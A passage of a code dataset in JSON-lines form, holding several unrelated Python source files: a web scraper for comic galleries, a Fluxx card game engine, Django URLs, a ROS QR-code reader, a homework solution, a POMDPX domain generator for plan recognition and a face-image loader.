re.compile(r'\\d{5,9}')\n\n\t\tif (url_exp.match(input)):\n\t\t\treturn input\n\t\telif (id_exp.match(input)):\n\t\t\treturn f'https://nhentai.net/g/{input}'\n\t\telse:\n\t\t\traise SyntaxError()\n\n\t@staticmethod\n\tdef _parse_image_(image):\n\t\timage = image[:8] + 'i' + image[9:]\n\t\timage = image[:-5]\n\t\timage = image + '.jpg'\n\t\treturn image\n\t\t\n\n\t@staticmethod\n\tdef get(id):\n\t\ttry:\n\t\t\turl = BookResults._parse_input_(id)\n\t\t\tresponse = requests.get(url, timeout=5)\n\t\t\tcontent = BeautifulSoup(response.content, \"html.parser\")\n\n\t\t\tbookArr = []\n\t\t\tfor book in content.findAll('div', attrs={\"class\": \"thumb-container\"}):\n\t\t\t\ttry:\n\t\t\t\t\timage_thumb = book.find('img')['data-src']\n\t\t\t\t\timage_full = BookResults._parse_image_(image_thumb)\n\t\t\t\texcept KeyError:\n\t\t\t\t\timage_thumb = book.find('img')['src']\n\t\t\t\t\timage_full = BookResults._parse_image_(image_thumb)\n\t\t\t\t\n\t\t\t\tbookObject = {\n\t\t\t\t\t\"thumbnail\": image_thumb,\n\t\t\t\t\t\"full_res\": image_full\n\t\t\t\t}\n\t\t\t\tbookArr.append(bookObject)\n\t\t\treturn bookArr\n\t\texcept SyntaxError:\n\t\t\treturn print('Usage: get(123456) OR get(http://nhentai.net/g/123456)')\n\n\t@staticmethod\n\tdef getInfoFromBook(id):\n\t\ttry:\n\t\t\turl = BookResults._parse_input_(id)\n\t\t\tresponse = requests.get(url, timeout=5)\n\t\t\tcontent = BeautifulSoup(response.content, \"html.parser\")\n\n\t\t\tcontArr = []\n\t\t\ttitleObject = {\n\t\t\t\t\"title\": content.find('meta', attrs={\"itemprop\": \"name\"})['content']\n\t\t\t}\n\n\t\t\tcontArr.append(titleObject)\n\n\t\t\ttry:\n\t\t\t\tcoverEl = content.find('div', attrs={\"id\": \"cover\"})\n\t\t\t\tcover_image = coverEl.find('img')['data-src']\n\t\t\texcept KeyError:\n\t\t\t\tcover_image = coverEl.find('img')['src']\n\n\t\t\tcontArr.append({\"cover\": cover_image})\n\n\t\t\ttag_string = content.find('meta', attrs={\"name\": \"twitter:description\"})['content']\n\t\t\ttag_string = tag_string.replace(', ', ' ')\n\t\t\ttag_list = tag_string.split()\n\n\t\t\ttagObject = {\n\t\t\t\t\"tags\": tag_list\n\t\t\t}\n\t\t\t\n\t\t\tcontArr.append(tagObject)\n\n\t\t\treturn contArr\n\n\t\texcept SyntaxError:\n\t\t\treturn print('Usage: get(123456) OR get(http://nhentai.net/g/123456)')","sub_path":"nhscrape.py","file_name":"nhscrape.py","file_ext":"py","file_size_in_byte":4162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"286862305","text":"from stage import *\nfrom fluxx_cards import *\nimport random\n\nclass FluxxTurn(Turn):\n '''A player's turn recording number of cards drawn and played that turn'''\n def __init__(self, player):\n Turn.__init__(self,player)\n self.drawn = 0\n self.played = 0\n def __str__(self):\n return \"{0} D{1} P{2}\".format(Turn.__str__(self),\n self.drawn, self.played)\n\n# Watch for draw3/play2 - don't count draws and plays against limit\n\nclass Game:\n '''The Fluxx card game\n\n Produced by Looney Labs - http://looneylabs.com\n Buy the real thing!'''\n\n card = {\"Basic Rules\": BasicRules(), \"Draw 2\":DrawN(2), \"Draw 3\":DrawN(3),\n \"Play 2\":PlayN(2), \"Play 3\":PlayN(3),\n \"FPR\":FirstPlayRandom(), \"D3P2\":DrawNPlayM(3,2),\n \"D2P2\":DrawNPlayM(2,2)}\n keeper = ( Keeper('The Shovel','pow'), Keeper('Lumber','pow'),\n Keeper('The Car', 'pow'), Keeper('Can of Gasoline', 'pow'),\n Keeper('Donuts'), Keeper('The Chainsaw', 'pow'),\n Keeper('Coffee'), Keeper('Baseball Bat', 'pow'),\n Keeper('Sandwiches'), Keeper('Brains'),\n Keeper('A Friend', 'friend')\n )\n\n def info():\n return {'name' : 'Fluxx', 'players' : '2-6'}\n\n def __init__(self, engine, numPlayers):\n engine.registerPhases(\"setup action draw play done\".split())\n engine.setPhase(\"setup\")\n engine.registerZone('rules', 0)\n engine.registerDeck(Game.makeDeck(), 0)\n engine.registerDiscard(Deck(), 0)\n for p in range(1, numPlayers+1):\n engine.registerZone('keepers', p)\n engine.registerZone('creepers', p)\n engine.registerZone('actions', p)\n self.numPlayers = numPlayers\n engine.ended = False\n\n def setup(self, engine):\n engine.play(Game.card['Basic Rules'], 'rules')\n # deal 3 cards\n engine.setTurn(FluxxTurn(random.randint(1, self.numPlayers)))\n engine.setPhase(\"draw\")\n\n def draw(self, engine):\n '''Handle the draw phase'''\n if engine.turn.drawn < engine.phase.limit:\n def drawCard(e=engine):\n if e.browseZone('deck').size() == 0:\n e.discardToDraw()\n e.give(e.turn.player,e.draw(0))\n e.turn.drawn += 1\n engine.registerOption(\"draw\", drawCard)\n else:\n engine.setPhase(\"play\")\n\n def play(self, engine):\n '''Handle the play phase'''\n if engine.turn.played < engine.phase.limit and \\\n engine.hands[engine.turn.player].size() > 0:\n engine.registerOption(\"wait\", lambda: 1)\n for card in engine.hands[engine.turn.player]:\n def playCard(e=engine,c=card):\n c.playself(e, e.turn.player)\n e.turn.played += 1\n engine.registerOption(\"play {0}\".format(card.name),\n playCard)\n else:\n engine.setPhase(\"done\")\n\n def action(self, engine):\n '''Actions mostly handle themselves'''\n pass\n\n def done(self, engine):\n '''Handle the end of the turn'''\n engine.setTurn(FluxxTurn((engine.turn.player%self.numPlayers)+1))\n engine.setPhase(\"draw\")\n\n def makeDeck():\n '''Return a Deck() containing the cards for this game'''\n deck = Deck([Game.card['FPR'], Game.card['D3P2'], Game.card['Draw 2'],\n Game.card['Draw 3'], Game.card['Play 2'], Game.card['Play 3'],\n Game.card['D2P2']])\n deck.shuffleIn(Game.keeper)\n deck.shuffle()\n return deck\n","sub_path":"gcge/games/fluxx.py","file_name":"fluxx.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"630061140","text":"from django.urls import path\r\nfrom profiles import views\r\n\r\nurlpatterns = [\r\n path('', views.new_post, name='author-profile'),\r\n path('posts/', views.current_visible_posts, name='visible-posts'),\r\n path('/posts/', views.author_posts, name='author-posts'),\r\n \r\n # path('editprofile/', views.edit_profile, name='editprofile'),\r\n]\r\n","sub_path":"socialdistribution/profiles/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"164344159","text":"#!/usr/bin/env python\n\n\"\"\"\n\tThis node uses 2D camera facing the shelf to extract the QR code data,\n\tand store it in parameter server so that other nodes can use that info.\n\"\"\"\n\nimport rospy\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom pyzbar.pyzbar import decode\nimport cv2\n\n\nclass Camera1:\n\n\tdef __init__(self):\n\t\tself.bridge = CvBridge()\n\t\tself.qr_threshold = 10\n\t\tself.packages_info = {}\n\t\trospy.sleep(0.1)\n\t\tself._start_time = rospy.get_time()\n\t\tself._current_time = rospy.get_time()\n\t\tself.image_sub = rospy.Subscriber(\"/eyrc/vb/camera_1/image_raw\", Image, self.callback)\n\n\tdef get_qr_data(self, arg_image):\n\t\t\"\"\"\n\t\t\tDecodes the qr code data in preprossed image and updates `packages_info` dict\n\t\t\twith corresponding package names and qr code decoded data\n\t\t\"\"\"\n\t\tqr_codes = decode(arg_image)\n\n\t\tif len(qr_codes) == 12:\n\t\t\tfor qr in qr_codes:\n\t\t\t\tpackage_name = self.get_package_name(qr.rect)\n\t\t\t\tself.packages_info[package_name] = qr.data\n\t\t\treturn 0\n\t\treturn -1\n\n\n\tdef callback(self, data):\n\t\t\"\"\"\n\t\t\tThis is callback function for camera1 it gets image data through argument`data`\n\t\t\tit thersholds the image with lower bound `(0, 0, 0)` and upper bound set by\n\t\t\t`self.qr_threshold` the it inverts image and feeds it to qr_decode func to\n\t\t\tdecode the qr codes\n\t\t\"\"\"\n\t\tself._current_time = rospy.get_time()\n\t\ttry:\n\t\t\tcv_image = self.bridge.imgmsg_to_cv2(data, \"bgr8\")\n\t\texcept CvBridgeError as e:\n\t\t\trospy.logerr(e)\n\n\t\troi = cv_image[290:920, 100:620] # crop to only package area\n\t\tlower_bound = (0, 0, 0)\n\t\tif (self._current_time - self._start_time) > 15: # if 15 sec is passed after launching the node then\n\t\t\tself.qr_threshold += 1\t\t\t\t\t # change the threshold value till all packages are detected\n\t\t\tself.qr_threshold %= 256\n\t\t\trospy.logwarn(\"Default Config Not Working Trying New Configs: {}\".format(self.qr_threshold))\n\t\tupper_bound = (self.qr_threshold, self.qr_threshold, self.qr_threshold)\n\t\tthresholded = cv2.inRange(roi, lower_bound, upper_bound)\n\t\tinv = 255-thresholded\n\t\tif not self.get_qr_data(inv):\n\t\t\tself.image_sub.unregister()\n\n\tdef get_package_name(self, coordinates):\n\t\t\"\"\"\n\t\t\tReturs the name of the packages based on the coordinates\n\t\t\tof the top left corner of the decoded qr code given\n\t\t\tthrough `coordinates`\n\t\t\"\"\"\n\t\tpackage_index = ''\n\t\tcol, row = coordinates[0], coordinates[1]\n\n\t\tif col < 174:\n\t\t\tpackage_index = '0'\n\t\telif col < 347:\n\t\t\tpackage_index = '1'\n\t\telse:\n\t\t\tpackage_index = '2'\n\n\t\tif row < 158:\n\t\t\tpackage_index += '0'\n\t\telif row < 315:\n\t\t\tpackage_index += '1'\n\t\telif row < 473:\n\t\t\tpackage_index += '2'\n\t\telse:\n\t\t\tpackage_index += '3'\n\n\t\tpackage_index = package_index[::-1]\n\n\t\treturn 'packagen'+package_index\n\ndef main():\n\n\trospy.init_node('node_get_package_info', anonymous=True)\n\ttry:\n\t\tcam = Camera1()\n\t\twhile not cam.packages_info:\n\t\t\trospy.sleep(0.1)\n\t\trospy.set_param('/packages_color_info', cam.packages_info)\n\texcept Exception as e:\n\t\tprint(e)\n\trospy.logwarn(cam.packages_info)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"pkg_task4/scripts/node_get_package_info.py","file_name":"node_get_package_info.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"649179393","text":"#!/usr/bin/python\n#coding=utf8\n\n########################################################################\n### ###\n### Created by Martin Genet, 2012-2016 ###\n### ###\n### University of California at San Francisco (UCSF), USA ###\n### Swiss Federal Institute of Technology (ETH), Zurich, Switzerland ###\n### École Polytechnique, Palaiseau, France ###\n### ###\n########################################################################\n\nimport myVTKPythonLibrary as myVTK\n\n########################################################################\n\ndef initImage(\n image=None,\n image_filename=None,\n verbose=0):\n\n assert ((image is not None) or (image_filename is not None)), \"Need an image or an image_filename. Aborting.\"\n\n if image is None:\n return myVTK.readImage(\n filename=image_filename,\n verbose=verbose)\n else:\n return image\n","sub_path":"initImage.py","file_name":"initImage.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"650594856","text":"from __future__ import print_function\n\nimport pyDOE\nimport os\nimport math\nimport numpy as np\n\n# ========== HW03 SOLUTION [Python2] ========== #\n\n\n# ========== 1 ========== #\n# see 2nd import statement at the top of the script file.\n\n# ========== 2 ========== #\n# see 3rd import statement at the top of the script file.\n\n# WINDOWS:\nprint(os.getcwd())\n# os.system('ping -n 2 ufl.edu')\n\n# LINUX/MACOS:\n# os.system('ping -c 2 ufl.edu')\n\n# ========== 3 ========== #\n# see 4th and 5th import statements at the top of the script file.\nprint(math.pi == np.pi)\n\n# the two are equivalent.\n\n# ========== 4 ========== #\nclass Sphere:\n def __init__(self, radius, mass):\n self.radius = radius\n self.mass = mass\n self.volume = 4.0 / 3 * math.pi * self.radius ** 3\n self.surface_area = 4.0 * math.pi * self.radius ** 2\n self.density = self.mass / self.volume\n\nred = Sphere(1.7, 0.25)\nprint(dir(red))\nprint('volume: {0.volume}\\nsurface area: {0.surface_area}\\n'\n 'density: {0.density}'.format(red))\n\n# ========== 5 ========== #\nx = [[0, 1, 2, 3], [4, 5, 6, 7],\n [8, 9, 10, 11], [12, 13, 14, 15]]\n\n# option 1\nfor l in x:\n print(l[0], l[1], l[2], l[3], sep=' & ')\n\n# option 2 (list unpacking):\nfor l in x:\n print(*l, sep=' & ')\n\n# option 3 (tuple unpacking):\nfor a, b, c, d in x:\n print(a, b, c, d, sep=' & ')\n","sub_path":"homework_solutions/HW03/hw03_solution_py2.py","file_name":"hw03_solution_py2.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"516816437","text":"import numpy\nimport copy\n\nclass Goal:\n\tdef __init__(self, name, listAction = [] , matrixAdj = numpy.zeros((0, 0)), initialState = []):\n\t\tself.name = name\n\t\tself.listAction = listAction\n\t\tself.matrixAdj = matrixAdj\n\n\tdef addPlan(self,listAction):\n\t\t# copy the initial list and add Start and Finish\n\t\tif '' in listAction:\n\t\t\tlistAction.remove('')\n\t\ttemplistAction = [\"Start\"]\n\t\ttemplistAction.extend(listAction)\n\t\ttemplistAction.append(\"Finish\")\n\n\t\tlistAllAction = copy.deepcopy(self.listAction)\n\t\tlistAllAction.extend(templistAction)\n\t\tlistAllAction = list(set(listAllAction))\n\n\t\t\n\t\tsize = len(listAllAction)\n\t\tentryMatrixAdj = numpy.zeros((size, size))\n\t\tnewMatrixAdj = numpy.zeros((size, size))\n\n\t\tfor laaLine in range(0,len(listAllAction)):\n\t\t\tfor laLine in range(0,len(self.listAction)):\n\t\t\t\tif listAllAction[laaLine] == self.listAction[laLine]:\t\t\t\t\n\t\t\t\t\tfor laaCol in range(0,len(listAllAction)):\n\t\t\t\t\t\tfor laCol in range(0,len(self.listAction)):\n\t\t\t\t\t\t\tif listAllAction[laaCol] == self.listAction[laCol]:\n\t\t\t\t\t\t\t\tnewMatrixAdj[laaLine,laaCol] = self.matrixAdj[laLine,laCol]\n\t\t\t\t\t\t\t\tif listAllAction[laaLine] == 'Finish' and listAllAction[laaCol] == 'Finish':\n\t\t\t\t\t\t\t\t\tnewMatrixAdj[laaLine,laaCol] = 1\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\tbreak\n\n\n\t\tfor la in range(0,len(templistAction)-1):\n\t\t\tfor laaLine in range(0,len(listAllAction)):\n\t\t\t\tif templistAction[la] == listAllAction[laaLine]:\n\t\t\t\t\tfor laaCol in range(0, len(listAllAction)):\n\t\t\t\t\t\tif templistAction[la + 1] == listAllAction[laaCol]:\n\t\t\t\t\t\t\tnewMatrixAdj[laaLine,laaCol] =\tnewMatrixAdj[laaLine,laaCol] + 1\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tbreak\n\n\n\t\tself.matrixAdj = newMatrixAdj\n\t\tself.listAction = listAllAction\n\t\treturn 0\n\n\tdef toString(self):\n\t\tout = []\n\t\tout = \"****\" + self.name + \"**** \\n\"\n\t\tfor action in self.listAction:\n\t\t\tout = out + action + ' '\n\t\tout = out + \"\\n\"\n\t\t#out = out + self.matrixAdj\n\t\treturn out \n\n\tdef normalize(self):\n\t\tsize = len(self.listAction)\n\t\tfor line in range(0, size):\n\t\t\t\tself.matrixAdj[line] = self.matrixAdj[line] / numpy.sum(self.matrixAdj[line])\n\n\nclass Observation:\n\tdef __init__(self, listAction, matrixConf):\n\t\tself.listAction = listAction\n\t\tself.matrixConf = matrixConf\n\nclass Domain:\n\tdef __init__(self, listGoal, observation = [], initialState = [], reward = []):\n\t\tself.listGoal = listGoal\n\t\tfor goal in listGoal:\n\t\t\tgoal.normalize()\n\t\tif not observation:\n\t\t\tlistAllAction = []\n\t\t\tfor i in listGoal:\n\t\t\t\tfor j in i.listAction:\n\t\t\t\t\tlistAllAction.append(j)\n\t\t\tlistAllAction = list(set(listAllAction))\n\t\t\tself.observation = Observation(listAllAction, numpy.identity(len(listAllAction)))\n\t\telse:\n\t\t\tself.observation = observation\n\t\tif not initialState:\n\t\t\tself.initialState = \"Start\"\n\t\telse : \n\t\t\tself.initialState = initialState\n\n\tdef toPOMDPxString(self):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" 0.95 \\n\"\n\n\t\tout = out + self.toPOMDPxVariables()\n\t\tout = out + self.toPOMDPxInitialState()\n\t\tout = out + self.toPOMDPxTransition()\n\t\tout = out + self.toPOMDPxObservation()\n\t\tout = out + self.toPOMDPxReward()\n\n\t\tout = out + \"\"\n\n\t\treturn out\n\n\tdef toPOMDPxVariables(self):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + self.toPOMDPxVariableState()\n\t\tout = out + self.toPOMDPxVariableGoal()\n\t\tout = out + self.toPOMDPxVariableEsGoal()\n\t\tout = out + self.toPOMDPxVariableAction()\n\t\tout = out + self.toPOMDPxVariableObservation()\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxVariableState(self):\n\t\tout = \"\"\n\t\t# State variables of the observee\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\n\t\tlistAllAction = []\n\t\tfor i in self.listGoal:\n\t\t\tfor j in i.listAction:\n\t\t\t\tlistAllAction.append(j)\n\t\tlistAllAction = list(set(listAllAction))\n\n\t\tfor i in listAllAction:\n\t\t\tout = out + i + ' '\n\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxVariableGoal(self):\n\t\tout = \"\"\n\t\t# Goal of the obsevee\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\t\tfor i in self.listGoal:\n\t\t\tout = out + i.name + ' '\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out \n\n\tdef toPOMDPxVariableEsGoal(self):\n\t\tout = \"\"\n\t\t# Estimated goal of the obsevee\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\t\tout = out + \"Unknown \"\n\t\tfor i in self.listGoal:\n\t\t\tout = out + i.name + ' '\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out \n\n\tdef toPOMDPxVariableAction(self):\n\t\tout = \"\"\n\t\t# list of actions\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\t\tout = out + \"Obs \"\n\t\tout = out + \"None \"\n\t\tfor i in self.listGoal:\n\t\t\tout = out + \"cg_\" + i.name + ' '\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxVariableObservation(self):\n\t\tout = \"\"\n\t\t# list of observation\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\t\tfor i in self.observation.listAction:\n\t\t\tout = out + i + ' '\n\t\tout = out + \"None \"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\" \n\t\treturn out\n\n\tdef toPOMDPxInitialState(self):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + self.toPOMDPxTBLHead(\"startAction\", [\"null\"])\n\n\t\tlistAllAction = []\n\t\tfor i in self.listGoal:\n\t\t\tfor j in i.listAction:\n\t\t\t\tif j == '':\n\t\t\t\t\tprint('ERROR')\n\t\t\t\tlistAllAction.append(j)\n\t\tlistAllAction = list(set(listAllAction))\n\n\n\t\tif self.initialState == \"Start\":\n\t\t\ttable = []\n\t\t\tfor i in listAllAction:\n\t\t\t\tif i == \"Start\":\n\t\t\t\t\ttable.append(\"1.0\")\n\t\t\t\telse:\n\t\t\t\t\ttable.append(\"0.0\")\n\t\t\tout = out + self.toPOMDPxTBLEntry([], table)\n\n\t\t\t\n\t\telif self.initialState == \"Unknown\":\n\t\t\tout = out + self.toPOMDPxTBLEntry([], [\"uniform\"])\n\t\telse:\n\t\t\ttable = []\n\t\t\tadd = False\n\t\t\tfor i in listAllAction:\n\t\t\t\tfor j in self.initialState:\n\t\t\t\t\tif i == j[0]:\n\t\t\t\t\t\ttable.append(j[1])\n\t\t\t\t\t\tadd = True\n\t\t\t\t\t\tbreak\n\t\t\t\tif not add:\n\t\t\t\t\ttable.append(\"0.0\")\n\t\t\t\tadd = False\n\t\t\tout = out + self.toPOMDPxTBLEntry([], table)\n\n\t\tout = out + self.toPOMDPxTBLQueu()\n\n\t\tout = out + self.toPOMDPxTBLHead(\"startGoal\", [\"null\"])\n\t\tout = out + self.toPOMDPxTBLEntry([], [\"uniform\"])\n\t\tout = out + self.toPOMDPxTBLQueu()\n\n\t\tout = out + self.toPOMDPxTBLHead(\"startEsGoal\", [\"null\"])\n\t\ttable = [\"1.0\"]\n\t\tfor i in self.listGoal:\n\t\t\ttable.append(\"0.0\")\n\t\tout = out + self.toPOMDPxTBLEntry([], table)\n\t\tout = out + self.toPOMDPxTBLQueu()\n\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxTransition(self):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + self.toPOMDPxTBLHead(\"nextAction\", [\"startAction\", \"startGoal\", \"startEsGoal\"])\n\n\t\tlistAllnextAction = []\n\t\tfor i in self.listGoal:\n\t\t\tfor j in i.listAction:\n\t\t\t\tlistAllnextAction.append(j)\n\t\tlistAllnextAction = list(set(listAllnextAction))\n\t\tsize = len(listAllnextAction)\n\n\t\tlistAllEsGoal = [\"Unknown\"]\n\t\tlistAllGoal = []\n\t\tlistMatrixAdj = []\n\t\tfor i in self.listGoal:\n\t\t\tlistAllEsGoal.append(i.name)\n\t\t\tlistAllGoal.append(i.name)\n\t\t\tlistMatrixAdj.append(numpy.zeros((size, size)))\n\t\t\tfor laaLine in range(0,len(listAllnextAction)):\n\t\t\t\tfor laLine in range(0,len(i.listAction)):\n\t\t\t\t\tif listAllnextAction[laaLine] == i.listAction[laLine]:\t\t\t\t\n\t\t\t\t\t\tfor laaCol in range(0,len(listAllnextAction)):\n\t\t\t\t\t\t\tfor laCol in range(0,len(i.listAction)):\n\t\t\t\t\t\t\t\tif listAllnextAction[laaCol] == i.listAction[laCol]:\n\t\t\t\t\t\t\t\t\tlistMatrixAdj[-1][laaLine,laaCol] = i.matrixAdj[laLine,laCol]\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tbreak\n\t\t\t\tif numpy.sum(listMatrixAdj[-1][laaLine]) == 0:\n\t\t\t\t\tfor laaCol in range(0,len(listAllnextAction)):\n\t\t\t\t\t\tif listAllnextAction[laaCol] == \"Finish\":\n\t\t\t\t\t\t\tlistMatrixAdj[-1][laaLine,laaCol] = 1\n\t\t\t\t\t\t\tbreak\n\n\t\tlistAllAction = [\"Obs\", \"None\"]\n\t\tfor i in self.listGoal:\n\t\t\tlistAllAction.append(\"cg_\" + i.name)\n\n\t\tindexGoal = 0\n\t\tfor lg in listAllGoal:\n\t\t\tfor leg in listAllEsGoal:\n\t\t\t\ttable = []\n\t\t\t\tindexNextAction = 0\n\t\t\t\tfor ln in listAllnextAction:\n\t\t\t\t\ttable = listMatrixAdj[indexGoal][indexNextAction]\n\t\t\t\t\tout = out + self.toPOMDPxTBLEntry([ln, lg, leg], table)\n\t\t\t\t\tindexNextAction = indexNextAction +1\n\t\t\tindexGoal = indexGoal +1\n\n\t\tout = out + self.toPOMDPxTBLQueu()\n\n\t\tout = out + self.toPOMDPxTBLHead(\"nextEsGoal\", [\"Action\", \"startEsGoal\"])\n\t\tfor i in listAllAction:\n\t\t\tfor j in listAllEsGoal:\n\t\t\t\ttable = []\n\t\t\t\tfor k in listAllEsGoal:\n\t\t\t\t\tif i == \"Obs\":\n\t\t\t\t\t\tif j == k:\n\t\t\t\t\t\t\ttable.append(\"1.0\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttable.append(\"0.0\")\n\t\t\t\t\telif i == \"None\":\n\t\t\t\t\t\tif j == k:\n\t\t\t\t\t\t\ttable.append(\"1.0\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttable.append(\"0.0\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tif i[3:] == k:\n\t\t\t\t\t\t\ttable.append(\"1.0\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttable.append(\"0.0\")\n\t\t\t\t\t\n\t\t\t\tout = out + self.toPOMDPxTBLEntry([i, j], table)\n\n\t\tout = out + self.toPOMDPxTBLQueu()\n\n\t\tout = out + self.toPOMDPxTBLHead(\"nextGoal\", [\"startGoal\"])\n\t\tfor i in listAllGoal:\n\t\t\ttable = []\n\t\t\tfor j in listAllGoal:\n\t\t\t\tif i == j:\n\t\t\t\t\ttable.append(\"1.0\")\n\t\t\t\telse:\n\t\t\t\t\ttable.append(\"0.0\")\n\n\t\t\tout = out + self.toPOMDPxTBLEntry([i], table)\n\t\tout = out + self.toPOMDPxTBLQueu()\n\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxObservation(self):\n\t\tout = \"\"\n\t\tout = out + \"\"\n\t\tout = out + self.toPOMDPxTBLHead(\"ObsState\", [\"Action\", \"nextAction\"])\n\n\t\tlistAllGoal = []\n\t\tfor i in self.listGoal:\n\t\t\tlistAllGoal.append(i.name)\n\t\tlistAllAction = [\"Obs\", \"None\"]\n\t\tfor i in listAllGoal:\n\t\t\tlistAllAction.append(\"cg_\" + i)\n\n\t\tlistAllnextAction = []\n\t\tfor i in self.listGoal:\n\t\t\tfor j in i.listAction:\n\t\t\t\tlistAllnextAction.append(j)\n\t\tlistAllnextAction= list(set(listAllnextAction))\n\n\t\tfor la in listAllAction:\n\t\t\tindexNextAction = 0\n\t\t\tfor ln in listAllnextAction:\n\t\t\t\ttable = self.observation.matrixConf[indexNextAction]\n\t\t\t\tout = out + self.toPOMDPxTBLEntry([la,ln],numpy.append(table, \"0.0\"))\n\t\t\t\tindexNextAction = indexNextAction + 1\n\t\tout = out + self.toPOMDPxTBLQueu()\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxReward(self):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \"reward \\n\"\n\t\tout = out + \" Action startGoal startEsGoal \\n\"\n\t\tout = out + \" \\n\"\n\n\t\tlistAllGoal = []\n\t\tlistAllEsGoal = [\"Unknown\"]\n\t\tlistAllAction = [\"Obs\", \"None\"]\n\t\tfor i in self.listGoal:\n\t\t\tlistAllGoal.append(i.name)\n\t\t\tlistAllEsGoal.append(i.name)\n\t\t\tlistAllAction.append(\"cg_\" + i.name)\n\n\t\treward = 0\n\t\tfor aa in listAllAction:\n\t\t\tfor ag in listAllGoal:\n\t\t\t\tfor ae in listAllEsGoal:\n\t\t\t\t\tif aa == \"Obs\":\n\t\t\t\t\t\treward = reward - 1\n\t\t\t\t\tif not ag == ae:\n\t\t\t\t\t\treward = reward - 10 \n\t\t\t\t\tif ag == ae:\n\t\t\t\t\t\treward = reward + 10\n\t\t\t\t\tout = out + self.toPOMDPxTBLEntryReward([aa, ag, ae], reward)\n\t\t\t\t\treward = 0\n\n\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\" \n\t\treturn out\n\n\tdef toPOMDPxTBLHead(self, var, parents):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \"\" + var + \" \\n\"\n\t\tout = out + \" \"\n\t\tfor i in parents:\n\t\t\tout = out + i + ' '\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxTBLQueu(self):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxTBLEntry(self, instance, table):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\t\tfor i in instance:\n\t\t\tout = out + i + ' '\n\t\tout = out + \" - \\n\"\n\t\tout = out + \"\"\n\t\tfor i in table:\n\t\t\tout = out + str(i) + ' '\n\t\tout = out + \" \\n\"\t\t\t\n\t\tout = out + \" \\n\"\n\t\treturn out\n\n\tdef toPOMDPxTBLEntryReward(self, instance, table):\n\t\tout = \"\"\n\t\tout = out + \" \\n\"\n\t\tout = out + \" \"\n\t\tfor i in instance:\n\t\t\tout = out + i + ' '\n\t\tout = out + \" \\n\"\n\t\tout = out + \"\"\n\t\tout = out + str(table)\n\t\tout = out + \" \\n\"\t\t\t\n\t\tout = out + \" \\n\"\n\t\treturn out\n","sub_path":"PlanRecoByPolicy/PolicyGenerator/Domain.py","file_name":"Domain.py","file_ext":"py","file_size_in_byte":12205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"511764784","text":"import numpy as np\nimport matplotlib.pylab as plt\n\nclass Image(object):\n\n def __init__(self, row, col):\n self.imgTraining = np.zeros((row, col, 280))\n self.imgTest = np.zeros((row,col, 120))\n\n countTraining = 0\n countTest = 0\n for person in range(1,41):\n for photo in range(1,11):\n if photo < 8:\n self.imgTraining[:,:,countTraining] = plt.imread(\"orl_faces/s\"+str(person)+\"/\"+str(photo)+\".pgm\")\n countTraining = countTraining + 1\n else: \n self.imgTest[:,:,countTest] = plt.imread(\"orl_faces/s\"+str(person)+\"/\"+str(photo)+\".pgm\")\n countTest = countTest + 1\n\n def getImgs(self):\n return self.imgTraining, 